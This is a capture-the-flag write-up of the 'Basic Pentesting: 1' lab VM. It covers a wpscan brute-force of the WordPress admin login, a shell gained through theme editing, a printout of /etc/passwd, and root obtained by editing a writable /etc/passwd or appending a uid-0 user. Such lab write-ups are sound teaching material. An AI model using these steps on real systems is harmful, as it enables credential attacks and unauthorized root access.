Last updated: 15 Apr 24 09:28:23 (UTC)

Write-Up Basic-Pentest

Basic-Pentest

By Lawcky 31/12/2023

Introduction

small boot2root VM

Difficulty : easy

Additionnal info :

Name: Basic Pentesting: 1
Release date: 8 Dec 2017
Author: Josiah Pierce
Series: Basic Pentesting

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them


In this write-up

  • nmap
  • nikto
  • wpscan

Write-UP

anonymous ftp test

48c889bdba10cc4bdbd5bbd13637c5d6.png

need an email address


Website

e169ccc3d34479937cd875c54898fbab.png

website seems empty on default page

/secret/

187e6fda1448b26ed3b0739cbc843ec8.png

we change the /etc/hosts entry

651d475a7b1203cf80fd20801062beed.png

we now have access to the site and know that it is a wordpress and it uses the twentyseventeen theme.


Attacking Wordpress

getting wordpress access

sudo wpscan --url http://b.pen/secret/wp-login.php --password-attack wp-login -U admin -P common.txt

RCE using wordpress themes

c5fe1e7cb872735a8a2733afe7c83015.png

we know have shell access to the user www-data

we upgrade to full tty shell


information gathering

68740e3b51e3e8bf8e4ef8945dfa9b8d.png

cat /etc/passwd

kernoops❌116:65534:Kernel Oops Tracking Daemon,😕:/bin/false pulse❌117:124:PulseAudio daemon,:/var/run/pulse:/bin/false rtkit❌118:126:RealtimeKit,:/proc:/bin/false saned❌119:127::/var/lib/saned:/bin/false usbmux❌120:46:usbmux daemon,:/var/lib/usbmux:/bin/false marlinspike❌1000:1000:marlinspike,:/home/marlinspike:/bin/bash mysql❌121:129:MySQL Server,:/nonexistent:/bin/false sshd❌122:65534::/var/run/sshd:/usr/sbin/nologin


Linux Enumeration

after running linpeas.sh we see different vulnerabilities, the one to stand out is :

aca3932ca9f794f86ab6d4d84bdaf755.png

there are two ways of using this, the first one is to remove root’s password by deleting the x in the line

root:x:0:0:root:/root:/bin/bash

the other way is to create our own user with root privileges

openssl passwd -1 we are getting an Hashed password

echo 'pwn:HASH:0:0:pwned:/root:/bin/bash' su - pwn d0322cc56f35adee072b456497045b6a.png